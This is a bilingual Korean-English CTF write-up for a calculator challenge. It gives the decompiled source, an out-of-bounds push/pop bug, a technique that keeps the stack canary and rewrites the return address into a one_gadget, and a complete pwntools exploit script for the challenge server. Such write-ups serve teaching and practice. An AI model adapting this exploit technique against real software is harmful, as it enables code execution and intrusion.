2023. 3. 20. 07:23ㆍCTF write up
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char op; // al
char i; // dl
int idx; // eax
double reg[11]; // [rsp+0h] [rbp-78h] BYREF
unsigned __int64 v8; // [rsp+58h] [rbp-20h]
v8 = __readfsqword(0x28u);
puts(
"==============================================================\n"
"== B01lers Calculator - Transcendental Figures edition 2023 ==\n"
"==============================================================\n");
memset(reg, 0, sizeof(reg));
LABEL_2:
print_menu();
while ( 1 )
{
__printf_chk(1LL, "choice: ");
fflush(stdout);
op = getchar_();
if ( op == 'q' )
return 0LL;
if ( op != '\n' )
{
switch ( op )
{
case '7': // laod pie
reg[0] = 3.141592653589793;
goto LABEL_2;
case '8': // load e
reg[0] = 2.718281828459045;
goto LABEL_2;
case '4':
reg[0] = reg[0] + reg[1];
goto LABEL_2;
case '5':
reg[0] = reg[0] - reg[1];
goto LABEL_2;
case '6':
reg[0] = reg[0] * reg[1];
goto LABEL_2;
case '1': // push
for ( i = get_remain((__int64)reg); i; --i )
reg[i] = reg[i - 1];
reg[0] = 0.0;
goto LABEL_2;
case '2': // pop
idx = get_remain((__int64)reg);
if ( idx )
memmove(reg, ®[1], 8LL * (unsigned int)(idx - 1) + 8);
goto LABEL_2;
case '3': // swap
*(__m128d *)reg = _mm_shuffle_pd(*(__m128d *)reg, *(__m128d *)reg, 1);
goto LABEL_2;
case '9': // show
do
{
__printf_chk(1LL, "idx: ");
fflush(stdout);
}
while ( (char)getchar_() - 48 > 9 );
__printf_chk(1LL, "-> value is %g\n\n");
goto LABEL_2;
}
}
}
}
push 와 pop을 할때 reg[11] 범위를 벗어날 수 있다. 더미 값을 push 한다음 다시 pop해서 canary와 ret를 끌어올 수 있으며, swap을 통해 canary를 보존하고 ret만을 변조할 수 있다.
When doing push and pop, reg[11] can go out of bounds. You can pull canary and ret by pushing a dummy value and then popping it again, and you can preserve canary and modulate only ret through swap.
결국, p와 e 값을 이용해 ret를 one_gadget으로 변조하고 다시 canary와 swap 한다음 push를 통해 원래자리로 보내버리면 된다.
In the end, you can modify ret into one_gadget using the values of p and e, swap it with canary again, and send it back to its original position through push.
또한 one_gadget 조건을 맞춰주기 위해서, b'₩x00'으로 stdin buffer 채워줘야한다.
Also, you should fill buffer of stdin to b'₩x00' because of restrictions of one_gadget.
아래의 식으로 ret를 one_gadget으로 만들 수 있다.
You can make ret into one_gadget with the following calculation.
ret + (e*(ret * (p-e)^36))*56073 = ret-785022 (one_gadget)
특정 연산은 다른 c 코드로 테스트 했을떄와 부동소수점 연산 결과가 다른 경우가 있기 때문에 이를 주의해야한다.
Note that certain calculations may have different results from floating-point operations when tested with other c codes.
This is the Exploit Code
from pwn import *
def double_to_hex(f):
return hex(struct.unpack('<Q', struct.pack('<d', f))[0])
#p = process('chal')
p = remote('transcendental.bctf23-codelab.kctf.cloud',1337)
raw_input()
#push
for i in range(0,11):
p.sendline(b'7')
p.sendline(b'1')
#pop
for i in range(0,11):
p.sendline(b'7')
p.sendline(b'2')
for i in range(0,3):
p.sendline(b'2')
p.sendline(b'3')
p.sendline(b'1') #push
p.sendline(b'4') #add (copy)
p.sendline(b'1') #push
p.sendline(b'8') #e
p.sendline(b'1') #push
p.sendline(b'7') #p
p.sendline(b'5') #sub
p.sendline(b'3') #swap
p.sendline(b'2') #pop
p.sendline(b'3') #swap
for i in range(0,36):
p.sendline(b'6') #mul
p.sendline(b'3') #swap
p.sendline(b'8') #e
p.sendline(b'3') #swap
p.sendline(b'6') #mul
p.sendline(b'3') #swap
p.sendline(b'2') #pop
p.sendline(b'3') #swap
for i in range(0,56073):
p.recvuntil(b'choice')
p.sendline(b'4') #add
print(i)
p.sendline(b'3') #swap
p.sendline(b'2') #pop
p.sendline(b'3') #swap
for i in range(0,3):
p.sendline(b'1') #push
p.sendline(b'7') #p
p.sendline(b'3') #swap
for i in range(0,11):
p.sendline(b'1') #push
p.sendline(b'7') #p
p.sendline(b'\x00'*0x1000)
p.sendline(b'q')
p.interactive()